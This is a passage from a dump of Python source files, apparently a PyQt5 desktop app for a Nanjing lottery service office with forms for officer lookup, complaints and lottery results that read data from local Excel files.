self.pushButton_4.setText(_translate(\"MainWindow\", \"工作日志\"))\n self.pushButton_5.setText(_translate(\"MainWindow\", \"退出\"))\n self.menu.setTitle(_translate(\"MainWindow\", \"文件\"))\n self.menu_2.setTitle(_translate(\"MainWindow\", \"退出\"))\n\n def newIncoming(self):\n myWin = newIncoming2(self)\n myWin.show()\n\nclass newIncoming2(QMainWindow, Ui_IncomingInfo):\n def __init__(self, parent=None): \n super(newIncoming2, self).__init__(parent)\n self.setupUi(self)\n " }, { "alpha_fraction": 0.4252376854419708, "alphanum_fraction": 0.4390665590763092, "avg_line_length": 35.171875, "blob_id": "a9b0747f24db2ad3af5c794013e914a15e6ca68c", "content_id": "fe34b9fcf6543311718fae78412eed83a84a13c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2478, "license_type": "no_license", "max_line_length": 72, "num_lines": 64, "path": "/UI/LatticeOfficer.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# 读取excel数据\nimport xlrd\n\n#data = xlrd.open_workbook('address.xls') # 打开xls文件\nclass LatticeOfficer():\n def __init__(self, area=''):\n self.area = area\n\n def getOfficerList(self):\n try:\n data = xlrd.open_workbook('database/officer.xlsx') # 打开xls文件\n except FileNotFoundError:\n print(\"找不到文件\")\n else:\n table = data.sheets()[0] # 打开第一张表\n nrows = table.nrows # 获取表的行数\n # for i in range(nrows): # 循环逐行打印\n # if i == 0: # 跳过第一行\n # continue\n # print(table.row_values(i)[:13]) # 取前十三列\n officerNames = []\n for i in range(nrows):\n if( table.row_values(i)[0] == self.area):\n officerName = table.row_values(i)[1]\n officerNames.append(officerName)\n return officerNames\n\n def getDetail(self, oname):\n try:\n data = xlrd.open_workbook('database/officer.xlsx') # 打开xls文件\n except FileNotFoundError:\n print(\"找不到文件\")\n else:\n table = data.sheets()[0] # 打开第一张表\n nrows = table.nrows # 获取表的行数\n # for i in range(nrows): # 循环逐行打印\n # if i == 0: # 跳过第一行\n # continue\n # print(table.row_values(i)[:13]) # 取前十三列\n officerDetail = []\n for i in range(nrows):\n if( table.row_values(i)[1] == oname):\n oname = table.row_values(i)[1]\n # otel1 = table.row_values(i)[2]\n # otel2 = table.row_values(i)[3]\n if (table.row_values(i)[2] != ''):\n otel1 = str(int(table.row_values(i)[2]))\n else:\n otel1 = ''\n if (table.row_values(i)[3] != ''):\n otel2 = str(int(table.row_values(i)[3]))\n else:\n otel2 = ''\n if (table.row_values(i)[4] != ''):\n otel3 = str(int(table.row_values(i)[4]))\n else:\n otel3 = ''\n officerDetail = [\n oname, otel1, otel2, otel3\n ]\n\n return officerDetail" }, { "alpha_fraction": 0.6228209137916565, "alphanum_fraction": 0.6677231788635254, "avg_line_length": 41.0444450378418, "blob_id": "ea7fc5cf9b112b7fa0ce48fb62f61c41b7aff3c9", "content_id": "c757795f62a5575ffb73bcdc08dde317d94f029a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1917, "license_type": "no_license", "max_line_length": 69, "num_lines": 45, "path": "/UI/UI_Other.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file '.\\UI_Other.ui'\n#\n# Created by: PyQt5 UI code generator 5.6\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\nclass Ui_Other(object):\n def setupUi(self, Other):\n Other.setObjectName(\"Other\")\n Other.resize(800, 600)\n self.label = QtWidgets.QLabel(Other)\n self.label.setGeometry(QtCore.QRect(80, 80, 54, 12))\n self.label.setObjectName(\"label\")\n self.label_2 = QtWidgets.QLabel(Other)\n self.label_2.setGeometry(QtCore.QRect(80, 250, 54, 12))\n self.label_2.setObjectName(\"label_2\")\n self.pushButton = QtWidgets.QPushButton(Other)\n self.pushButton.setGeometry(QtCore.QRect(290, 520, 75, 23))\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton_2 = QtWidgets.QPushButton(Other)\n self.pushButton_2.setGeometry(QtCore.QRect(480, 520, 75, 23))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.textEdit = QtWidgets.QTextEdit(Other)\n self.textEdit.setGeometry(QtCore.QRect(190, 60, 491, 81))\n self.textEdit.setObjectName(\"textEdit\")\n self.textEdit_2 = QtWidgets.QTextEdit(Other)\n self.textEdit_2.setGeometry(QtCore.QRect(190, 190, 491, 271))\n self.textEdit_2.setObjectName(\"textEdit_2\")\n\n self.retranslateUi(Other)\n QtCore.QMetaObject.connectSlotsByName(Other)\n\n def retranslateUi(self, Other):\n _translate = QtCore.QCoreApplication.translate\n Other.setWindowTitle(_translate(\"Other\", \"Form\"))\n self.label.setText(_translate(\"Other\", \"问题概述:\"))\n self.label_2.setText(_translate(\"Other\", \"备注:\"))\n self.pushButton.setText(_translate(\"Other\", \"提交\"))\n self.pushButton_2.setText(_translate(\"Other\", \"取消\"))\n\n self.pushButton_2.clicked.connect(self.close)\n\n" }, { "alpha_fraction": 0.6207051277160645, "alphanum_fraction": 0.6571556329727173, "avg_line_length": 45.47916793823242, "blob_id": "a482199daed890907560fa20391273264eb82207", "content_id": "32e59cf22f9150292979b863c305d60b6b25dcdf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6852, "license_type": "no_license", "max_line_length": 75, "num_lines": 144, "path": "/UI/UI_LatticePoint.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file '.\\UI_LatticePoint.ui'\n#\n# Created by: PyQt5 UI code generator 5.6\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom UI.LatticeOfficer import *\nfrom PyQt5.QtWidgets import *\nfrom UI.UI_LatticePoint import *\nfrom PyQt5.QtCore import QStringListModel\n\nclass Ui_LatticePoint(object):\n def setupUi(self, LatticePoint):\n LatticePoint.setObjectName(\"LatticePoint\")\n LatticePoint.resize(640, 480)\n self.comboBox = QtWidgets.QComboBox(LatticePoint)\n self.comboBox.setGeometry(QtCore.QRect(30, 30, 75, 22))\n self.comboBox.setObjectName(\"comboBox\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.listView = QtWidgets.QListView(LatticePoint)\n self.listView.setGeometry(QtCore.QRect(30, 80, 131, 341))\n self.listView.setObjectName(\"listView\")\n self.label = QtWidgets.QLabel(LatticePoint)\n self.label.setGeometry(QtCore.QRect(200, 90, 54, 12))\n self.label.setObjectName(\"label\")\n #\n self.labWorkNum = QtWidgets.QLabel(LatticePoint)\n self.labWorkNum.setGeometry(QtCore.QRect(400, 90, 54, 12))\n self.labWorkNum.setObjectName(\"labWorkNum\")\n self.labWorkNum_1 = QtWidgets.QLabel(LatticePoint)\n self.labWorkNum_1.setGeometry(QtCore.QRect(470, 90, 54, 12))\n self.labWorkNum_1.setObjectName(\"labWorkNum_1\")\n #\n self.label_2 = QtWidgets.QLabel(LatticePoint)\n self.label_2.setGeometry(QtCore.QRect(200, 130, 54, 12))\n self.label_2.setObjectName(\"label_2\")\n self.label_3 = QtWidgets.QLabel(LatticePoint)\n self.label_3.setGeometry(QtCore.QRect(200, 210, 54, 12))\n self.label_3.setObjectName(\"label_3\")\n self.comboBox_2 = QtWidgets.QComboBox(LatticePoint)\n self.comboBox_2.setGeometry(QtCore.QRect(280, 210, 80, 22))\n self.comboBox_2.setObjectName(\"comboBox_2\")\n self.comboBox_2.addItem(\"\")\n self.comboBox_2.addItem(\"\")\n self.comboBox_2.addItem(\"\")\n self.comboBox_2.addItem(\"\")\n self.label_4 = QtWidgets.QLabel(LatticePoint)\n self.label_4.setGeometry(QtCore.QRect(270, 90, 54, 12))\n self.label_4.setObjectName(\"label_4\")\n self.label_5 = QtWidgets.QLabel(LatticePoint)\n self.label_5.setGeometry(QtCore.QRect(270, 130, 54, 12))\n self.label_5.setObjectName(\"label_5\")\n self.textEdit = QtWidgets.QTextEdit(LatticePoint)\n self.textEdit.setGeometry(QtCore.QRect(200, 250, 401, 171))\n self.textEdit.setObjectName(\"textEdit\")\n self.pushButton = QtWidgets.QPushButton(LatticePoint)\n self.pushButton.setGeometry(QtCore.QRect(200, 440, 75, 23))\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton_2 = QtWidgets.QPushButton(LatticePoint)\n self.pushButton_2.setGeometry(QtCore.QRect(350, 440, 75, 23))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.label_6 = QtWidgets.QLabel(LatticePoint)\n self.label_6.setGeometry(QtCore.QRect(200, 170, 54, 12))\n self.label_6.setObjectName(\"label_6\")\n self.label_7 = QtWidgets.QLabel(LatticePoint)\n self.label_7.setGeometry(QtCore.QRect(270, 170, 54, 12))\n self.label_7.setObjectName(\"label_7\")\n\n self.retranslateUi(LatticePoint)\n QtCore.QMetaObject.connectSlotsByName(LatticePoint)\n\n def retranslateUi(self, LatticePoint):\n _translate = QtCore.QCoreApplication.translate\n LatticePoint.setWindowTitle(_translate(\"LatticePoint\", \"Form\"))\n self.comboBox.setItemText(0, _translate(\"LatticePoint\", \"请选择\"))\n self.comboBox.setItemText(1, _translate(\"LatticePoint\", \"玄武区\"))\n self.comboBox.setItemText(2, _translate(\"LatticePoint\", \"鼓楼区\"))\n self.comboBox.setItemText(3, _translate(\"LatticePoint\", \"秦淮区\"))\n self.comboBox.setItemText(4, _translate(\"LatticePoint\", \"建邺区\"))\n self.comboBox.setItemText(5, _translate(\"LatticePoint\", \"雨花台区\"))\n self.comboBox.setItemText(6, _translate(\"LatticePoint\", \"栖霞区\"))\n self.comboBox.setItemText(7, _translate(\"LatticePoint\", \"浦口区\"))\n self.comboBox.setItemText(8, _translate(\"LatticePoint\", \"六合区\"))\n self.comboBox.setItemText(9, _translate(\"LatticePoint\", \"江宁区\"))\n self.comboBox.setItemText(10, _translate(\"LatticePoint\", \"溧水区\"))\n self.comboBox.setItemText(11, _translate(\"LatticePoint\", \"高淳区\"))\n self.label.setText(_translate(\"LatticePoint\", \"专管员:\"))\n self.labWorkNum.setText(_translate(\"LatticePoint\", \"办公电话:\"))\n self.labWorkNum_1.setText(_translate(\"LatticePoint\", \"0\"))\n self.label_2.setText(_translate(\"LatticePoint\", \"工作手机:\"))\n self.label_3.setText(_translate(\"LatticePoint\", \"咨询内容:\"))\n self.comboBox_2.setItemText(0, _translate(\"LatticePoint\", \"申办流程\"))\n self.comboBox_2.setItemText(1, _translate(\"LatticePoint\", \"申办渠道\"))\n self.comboBox_2.setItemText(2, _translate(\"LatticePoint\", \"申办条件\"))\n self.comboBox_2.setItemText(3, _translate(\"LatticePoint\", \"其他\"))\n self.label_4.setText(_translate(\"LatticePoint\", \"0\"))\n self.label_5.setText(_translate(\"LatticePoint\", \"0\"))\n self.pushButton.setText(_translate(\"LatticePoint\", \"提交\"))\n self.pushButton_2.setText(_translate(\"LatticePoint\", \"取消\"))\n self.label_6.setText(_translate(\"LatticePoint\", \"个人手机:\"))\n self.label_7.setText(_translate(\"LatticePoint\", \"0\"))\n\n self.comboBox.currentIndexChanged.connect(self.getNameList)\n self.listView.clicked.connect(self.getOfficerDetail)\n self.pushButton_2.clicked.connect(self.close)\n \n\n nameList = []\n\n def getNameList(self, i):\n area = self.comboBox.currentText()\n ss = LatticeOfficer(area)\n yy = ss.getOfficerList()\n self.nameList = yy\n print(yy)\n slm = QStringListModel()\n slm.setStringList(yy)\n self.listView.setModel(slm)\n \n\n def getOfficerDetail(self, qModelIndex):\n ss = LatticeOfficer()\n name = self.nameList[qModelIndex.row()]\n print(name)\n zz = ss.getDetail(name)\n print(zz)\n #self.label_2.setText(zz[0])\n self.label_4.setText(zz[0])\n self.label_5.setText(zz[2])\n self.label_7.setText(zz[1])\n self.labWorkNum_1.setText(zz[3])\n\n" }, { "alpha_fraction": 0.4756598174571991, "alphanum_fraction": 0.4909090995788574, "avg_line_length": 31.188678741455078, "blob_id": "2a7b0c9ff12900d2e59f1928ccfd210ddee5ffd1", "content_id": "f25d76d7da5cf3f866481a2dc96871bd843a50d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1837, "license_type": "no_license", "max_line_length": 73, "num_lines": 53, "path": "/UI/Mainten.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# 读取excel数据\nimport xlrd\n\n#data = xlrd.open_workbook('address.xls') # 打开xls文件\nclass Mainten():\n def __init__(self, number=''):\n self.number = number\n\n def getNameandAddress(self):\n try:\n data = xlrd.open_workbook('database/terminal.xlsx') # 打开xls文件\n except FileNotFoundError:\n print(\"找不到文件\")\n else:\n table = data.sheets()[0] # 打开第一张表\n nrows = table.nrows # 获取表的行数\n # for i in range(nrows): # 循环逐行打印\n # if i == 0: # 跳过第一行\n # continue\n # print(table.row_values(i)[:13]) # 取前十三列\n nameAndAddress = []\n for i in range(nrows):\n if( table.row_values(i)[1] == self.number):\n name = table.row_values(i)[8]\n address = table.row_values(i)[4]\n nameAndAddress = [name, address]\n return nameAndAddress\n\n def getTelNum(self, oname):\n try:\n data = xlrd.open_workbook('database/officer.xlsx') # 打开xls文件\n except FileNotFoundError:\n print(\"找不到文件\")\n else:\n table = data.sheets()[0] # 打开第一张表\n nrows = table.nrows # 获取表的行数\n telNum = ''\n for i in range(nrows):\n if( table.row_values(i)[1] == oname):\n if (table.row_values(i)[3] != ''):\n telNum = str(int(table.row_values(i)[3]))\n else:\n telNum = ''\n\n return telNum\n\n# m = Mainten('3201051932101')\n# print(m.getNameandAddress())\n# s = m.getNameandAddress()\n# g = s[0]\n# print(m.getTelNum(g))" }, { "alpha_fraction": 0.5757997035980225, "alphanum_fraction": 0.5980528593063354, "avg_line_length": 27.799999237060547, "blob_id": "2d66f963ae77574039667fd920c3641f4c835545", "content_id": "8b4f39d6bb553ea8575ed1b1cfb9e7b88cd3e0c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 733, "license_type": "no_license", "max_line_length": 74, "num_lines": 25, "path": "/JsonTest.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "import json\n\ndi = [{\"name\":\"test1\", \"sex\":\"test2\", \"others\":[1,2,\"8888888\"]}]\n# print(json.dumps(di, indent=4))\n# new_dict = json.dumps(di, indent=4)\n\n# with open(\"record.json\", \"a\") as f:\n# json.dump(di, f, indent=4, separators=(',',':'), ensure_ascii=False)\n# print(\"加载入文件完成...\")\n\nwith open(\"record.json\", \"r\") as f:\n date = json.load(f)\nprint(date)\ndate += di\nprint(date)\n\nwith open(\"record.json\", \"w\") as f:\n json.dump(date, f, indent=4, separators=(',',':'), ensure_ascii=False)\n\n# json.dump(di, date)\n# json.dump(di, f, indent=4, separators=(',',':'), ensure_ascii=False)\n\n# readed = json.load(open('record.json', 'r'))\n# readed = json.dumps(di)\n# json.dump(readed, open('record.json', 'w'))" }, { "alpha_fraction": 0.5845724940299988, "alphanum_fraction": 0.6198884844779968, "avg_line_length": 28.86111068725586, "blob_id": "2a4ad91aa8d7357e2cc94445ef764d06b657e503", "content_id": "90d96037ee2e725809d955ea9149a78006e4f7e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1218, "license_type": "no_license", "max_line_length": 106, "num_lines": 36, "path": "/ExcelTest.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# 读取excel数据\n# 小罗的需求,取第二行以下的数据,然后取每行前13列的数据\nimport xlrd, xlwt\nfrom datetime import datetime\nfrom xlutils.copy import copy\n\n#data = xlrd.open_workbook('address.xls') # 打开xls文件\ntry:\n data = xlrd.open_workbook('database/incominginfo.xlsx') # 打开xls文件\nexcept FileNotFoundError:\n print(\"找不到文件\")\nelse:\n table = data.sheets()[0] # 打开第一张表\n nrows = table.nrows # 获取表的行数\n # for i in range(nrows): # 循环逐行打印\n # if i == 0: # 跳过第一行\n # continue\n # print(table.row_values(i)[:13]) # 取前十三列\n # table.write(nrows+1, 1, \"gggg\")\n # table.save('database/incominginfo33.xlsx')\n\n style0 = xlwt.easyxf('font: name Times New Roman, color-index red, bold on',num_format_str='#,##0.00')\n style1 = xlwt.easyxf(num_format_str='D-MMM-YY')\n \n wb = xlwt.Workbook()\n ws = wb.add_sheet('A Test Sheet')\n \n ws.write(0, 0, 1234.56, style0)\n ws.write(1, 0, datetime.now(), style1)\n ws.write(2, 0, 1)\n ws.write(2, 1, 1)\n ws.write(2, 2, xlwt.Formula(\"A3+B3\"))\n \n wb.save('example.xlsx')\n\n" }, { "alpha_fraction": 0.6242986917495728, "alphanum_fraction": 0.6668105125427246, "avg_line_length": 40.00885009765625, "blob_id": "469d54fb2114d2dc4fa2a83fcc1d9a752f86eabf", "content_id": "f3ed6ca93de2e5a902bbc269163168397d6ae0ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4710, "license_type": "no_license", "max_line_length": 68, "num_lines": 113, "path": "/UI/Lottery.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'Lottery.ui'\n#\n# Created by: PyQt5 UI code generator 5.6\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nimport sys\nfrom UI.LotteryGetData import *\n\nclass Ui_Lottery(object):\n def setupUi(self, Lottery):\n Lottery.setObjectName(\"Lottery\")\n Lottery.resize(800, 621)\n self.pushButton = QtWidgets.QPushButton(Lottery)\n self.pushButton.setGeometry(QtCore.QRect(30, 30, 75, 23))\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton_2 = QtWidgets.QPushButton(Lottery)\n self.pushButton_2.setGeometry(QtCore.QRect(130, 30, 75, 23))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.pushButton_3 = QtWidgets.QPushButton(Lottery)\n self.pushButton_3.setGeometry(QtCore.QRect(230, 30, 75, 23))\n self.pushButton_3.setObjectName(\"pushButton_3\")\n self.pushButton_4 = QtWidgets.QPushButton(Lottery)\n self.pushButton_4.setGeometry(QtCore.QRect(330, 30, 75, 23))\n self.pushButton_4.setObjectName(\"pushButton_4\")\n self.pushButton_5 = QtWidgets.QPushButton(Lottery)\n self.pushButton_5.setGeometry(QtCore.QRect(430, 30, 75, 23))\n self.pushButton_5.setObjectName(\"pushButton_5\")\n self.tableView = QtWidgets.QTableView(Lottery)\n self.tableView.setGeometry(QtCore.QRect(20, 70, 761, 531))\n self.tableView.setObjectName(\"tableView\")\n\n self.pushButton_6 = QtWidgets.QPushButton(Lottery)\n self.pushButton_6.setGeometry(QtCore.QRect(530, 30, 75, 23))\n self.pushButton_6.setObjectName(\"pushButton_6\")\n\n self.retranslateUi(Lottery)\n self.pushButton.clicked.connect(self.pushButton_clicked)\n self.pushButton_2.clicked.connect(self.pushButton2_clicked)\n self.pushButton_3.clicked.connect(self.pushButton3_clicked)\n self.pushButton_4.clicked.connect(self.pushButton4_clicked)\n self.pushButton_5.clicked.connect(self.pushButton5_clicked)\n self.pushButton_6.clicked.connect(self.close)\n QtCore.QMetaObject.connectSlotsByName(Lottery)\n\n def retranslateUi(self, Lottery):\n _translate = QtCore.QCoreApplication.translate\n Lottery.setWindowTitle(_translate(\"Lottery\", \"Form\"))\n self.pushButton.setText(_translate(\"Lottery\", \"超级大乐透\"))\n self.pushButton_2.setText(_translate(\"Lottery\", \"七位数\"))\n self.pushButton_3.setText(_translate(\"Lottery\", \"排列3\"))\n self.pushButton_4.setText(_translate(\"Lottery\", \"排列5\"))\n self.pushButton_5.setText(_translate(\"Lottery\", \"11选5\"))\n self.pushButton_6.setText(_translate(\"Lottery\", \"返回\"))\n\n def initializeMode(self, code):\n ss = LotteryGetData(code)\n yy =ss.getData()\n model=QStandardItemModel(20,3);\n model.setHorizontalHeaderLabels(['期号','开奖号码','开奖时间'])\n for row in range(20):\n for column in range(3):\n item = QStandardItem(\"%s\"%(yy[row][column]))\n model.setItem(row, column, item)\n #self.tableView=QTableView();\n return model\n \n \n def pushButton_clicked(self):\n print(\"超级大乐透\")\n model = self.initializeMode('dlt')\n self.tableView.setModel(model)\n self.tableView.setColumnWidth(0, 100)\n self.tableView.setColumnWidth(1, 200)\n self.tableView.setColumnWidth(2, 200)\n\n def pushButton2_clicked(self):\n print(\"七位数\")\n model = self.initializeMode('jstc7ws')\n self.tableView.setModel(model)\n self.tableView.setColumnWidth(0, 100)\n self.tableView.setColumnWidth(1, 200)\n self.tableView.setColumnWidth(2, 200)\n\n def pushButton3_clicked(self):\n print(\"排列3\")\n model = self.initializeMode('pl3')\n self.tableView.setModel(model)\n self.tableView.setColumnWidth(0, 100)\n self.tableView.setColumnWidth(1, 200)\n self.tableView.setColumnWidth(2, 200)\n \n def pushButton4_clicked(self):\n print(\"排列5\")\n model = self.initializeMode('yzfcpl5')\n self.tableView.setModel(model)\n self.tableView.setColumnWidth(0, 100)\n self.tableView.setColumnWidth(1, 200)\n self.tableView.setColumnWidth(2, 200)\n\n def pushButton5_clicked(self):\n print(\"11选5\")\n model = self.initializeMode('jx11x5')\n self.tableView.setModel(model)\n self.tableView.setColumnWidth(0, 100)\n self.tableView.setColumnWidth(1, 200)\n self.tableView.setColumnWidth(2, 200)\n" }, { "alpha_fraction": 0.609429657459259, "alphanum_fraction": 0.6565779447555542, "avg_line_length": 48.05970001220703, "blob_id": "2920fae5785f1b06a56099964a85ed1ee43ccf14", "content_id": "fa35867c6c02431321068caabb665fb04c4e7a99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6721, "license_type": "no_license", "max_line_length": 71, "num_lines": 134, "path": "/UI/UI_Feedback.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file '.\\UI_Feedback.ui'\n#\n# Created by: PyQt5 UI code generator 5.6\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom UI.LatticeOfficer import *\nfrom PyQt5.QtWidgets import *\nfrom UI.Feedback import *\n\nclass Ui_feedback(object):\n def setupUi(self, feedback):\n feedback.setObjectName(\"feedback\")\n feedback.resize(800, 600)\n self.groupBox = QtWidgets.QGroupBox(feedback)\n self.groupBox.setGeometry(QtCore.QRect(10, 20, 771, 171))\n self.groupBox.setObjectName(\"groupBox\")\n self.label_3 = QtWidgets.QLabel(self.groupBox)\n self.label_3.setGeometry(QtCore.QRect(40, 50, 54, 12))\n self.label_3.setObjectName(\"label_3\")\n self.label_4 = QtWidgets.QLabel(self.groupBox)\n self.label_4.setGeometry(QtCore.QRect(40, 110, 54, 12))\n self.label_4.setObjectName(\"label_4\")\n self.label_5 = QtWidgets.QLabel(self.groupBox)\n self.label_5.setGeometry(QtCore.QRect(310, 70, 54, 12))\n self.label_5.setObjectName(\"label_5\")\n self.lineEdit1 = QtWidgets.QLineEdit(self.groupBox)\n self.lineEdit1.setGeometry(QtCore.QRect(110, 40, 113, 30))\n self.lineEdit1.setObjectName(\"lineEdit1\")\n self.lineEdit2 = QtWidgets.QLineEdit(self.groupBox)\n self.lineEdit2.setGeometry(QtCore.QRect(110, 100, 113, 30))\n self.lineEdit2.setObjectName(\"lineEdit2\")\n self.textEdit3 = QtWidgets.QTextEdit(self.groupBox)\n self.textEdit3.setGeometry(QtCore.QRect(390, 30, 361, 121))\n self.textEdit3.setObjectName(\"textEdit3\")\n self.groupBox_2 = QtWidgets.QGroupBox(feedback)\n self.groupBox_2.setGeometry(QtCore.QRect(10, 210, 771, 331))\n self.groupBox_2.setObjectName(\"groupBox_2\")\n self.rbOfficer = QtWidgets.QRadioButton(self.groupBox_2)\n self.rbOfficer.setGeometry(QtCore.QRect(40, 50, 89, 16))\n self.rbOfficer.setObjectName(\"radioButton1\")\n self.rbPoint = QtWidgets.QRadioButton(self.groupBox_2)\n self.rbPoint.setGeometry(QtCore.QRect(110, 50, 89, 16))\n self.rbPoint.setObjectName(\"radioButton2\")\n self.rbOther = QtWidgets.QRadioButton(self.groupBox_2)\n self.rbOther.setGeometry(QtCore.QRect(40, 220, 89, 16))\n self.rbOther.setObjectName(\"radioButton3\")\n self.lineEdit4 = QtWidgets.QLineEdit(self.groupBox_2)\n self.lineEdit4.setGeometry(QtCore.QRect(110, 100, 113, 30))\n self.lineEdit4.setObjectName(\"lineEdit4\")\n self.textEdit6 = QtWidgets.QTextEdit(self.groupBox_2)\n self.textEdit6.setGeometry(QtCore.QRect(390, 120, 360, 180))\n self.textEdit6.setObjectName(\"textEdit6\")\n self.label = QtWidgets.QLabel(self.groupBox_2)\n self.label.setGeometry(QtCore.QRect(310, 150, 54, 12))\n self.label.setObjectName(\"label\")\n self.label_2 = QtWidgets.QLabel(self.groupBox_2)\n self.label_2.setGeometry(QtCore.QRect(40, 110, 54, 16))\n self.label_2.setObjectName(\"label_2\")\n self.pushButton_3 = QtWidgets.QPushButton(self.groupBox_2)\n self.pushButton_3.setGeometry(QtCore.QRect(240, 100, 41, 30))\n self.pushButton_3.setObjectName(\"pushButton_3\")\n self.labelDetail = QtWidgets.QLabel(self.groupBox_2)\n self.labelDetail.setGeometry(QtCore.QRect(40, 150, 250, 30))\n self.labelDetail.setObjectName(\"labelDetail\")\n self.lineEdit5 = QtWidgets.QLineEdit(self.groupBox_2)\n self.lineEdit5.setGeometry(QtCore.QRect(110, 210, 113, 30))\n self.lineEdit5.setObjectName(\"lineEdit5\")\n self.pushButton = QtWidgets.QPushButton(feedback)\n self.pushButton.setGeometry(QtCore.QRect(210, 560, 75, 23))\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton_2 = QtWidgets.QPushButton(feedback)\n self.pushButton_2.setGeometry(QtCore.QRect(450, 560, 75, 23))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n #\n self.comboBox = QtWidgets.QComboBox(self.groupBox_2)\n self.comboBox.setGeometry(QtCore.QRect(390, 60, 90, 22))\n self.comboBox.setObjectName(\"comboBox\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.labelStatus = QtWidgets.QLabel(self.groupBox_2)\n self.labelStatus.setGeometry(QtCore.QRect(310, 70, 54, 12))\n self.labelStatus.setObjectName(\"label_5\")\n #\n self.retranslateUi(feedback)\n QtCore.QMetaObject.connectSlotsByName(feedback)\n\n def retranslateUi(self, feedback):\n _translate = QtCore.QCoreApplication.translate\n feedback.setWindowTitle(_translate(\"feedback\", \"投诉与反馈\"))\n self.groupBox.setTitle(_translate(\"feedback\", \"投诉人信息\"))\n self.label_3.setText(_translate(\"feedback\", \"姓名:\"))\n self.label_4.setText(_translate(\"feedback\", \"联系电话:\"))\n self.label_5.setText(_translate(\"feedback\", \"其他信息:\"))\n self.groupBox_2.setTitle(_translate(\"feedback\", \"被投诉对象\"))\n self.rbOfficer.setText(_translate(\"feedback\", \"专管员\"))\n self.rbPoint.setText(_translate(\"feedback\", \"网点\"))\n self.rbOther.setText(_translate(\"feedback\", \"其他\"))\n self.label.setText(_translate(\"feedback\", \"具体内容:\"))\n self.label_2.setText(_translate(\"feedback\", \"请输入:\"))\n self.pushButton_3.setText(_translate(\"feedback\", \"查询\"))\n self.labelDetail.setText(_translate(\"feedback\", \"信息显示\"))\n self.pushButton.setText(_translate(\"feedback\", \"提交\"))\n self.pushButton_2.setText(_translate(\"feedback\", \"取消\"))\n self.comboBox.setItemText(0, _translate(\"feedback\", \"未选择\"))\n self.comboBox.setItemText(1, _translate(\"feedback\", \"未解决\"))\n self.comboBox.setItemText(2, _translate(\"feedback\", \"已解决\"))\n self.labelStatus.setText(_translate(\"feedback\", \"状态:\"))\n\n self.pushButton_3.clicked.connect(self.btnSearch)\n self.pushButton_2.clicked.connect(self.close)\n\n def btnSearch(self):\n print(\"sss\")\n if (self.rbPoint.isChecked()):\n number = self.lineEdit4.text()\n name = ''\n ss = Feedback()\n inform = ss.getAddress(number)\n print(number)\n print(inform)\n self.labelDetail.setText(\"地址:\" + inform)\n elif (self.rbOfficer.isChecked()):\n name = self.lineEdit4.text()\n number = ''\n ss = Feedback()\n inform = ss.getTelNum(name)\n print(name)\n print(inform)\n self.labelDetail.setText(\"手机号:\" + inform)\n\n" }, { "alpha_fraction": 0.6016591787338257, "alphanum_fraction": 0.6528838276863098, "avg_line_length": 47.99354934692383, "blob_id": "ad09e637e3b378cda7151dbbd4e128b8cbb52f1c", "content_id": "dd0a9fec6c27404c40f314f430152e83c58d34ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7724, "license_type": "no_license", "max_line_length": 79, "num_lines": 155, "path": "/UI/UI_Maintenance.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file '.\\UI_Maintenance.ui'\n#\n# Created by: PyQt5 UI code generator 5.6\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom UI.LatticeOfficer import *\nfrom 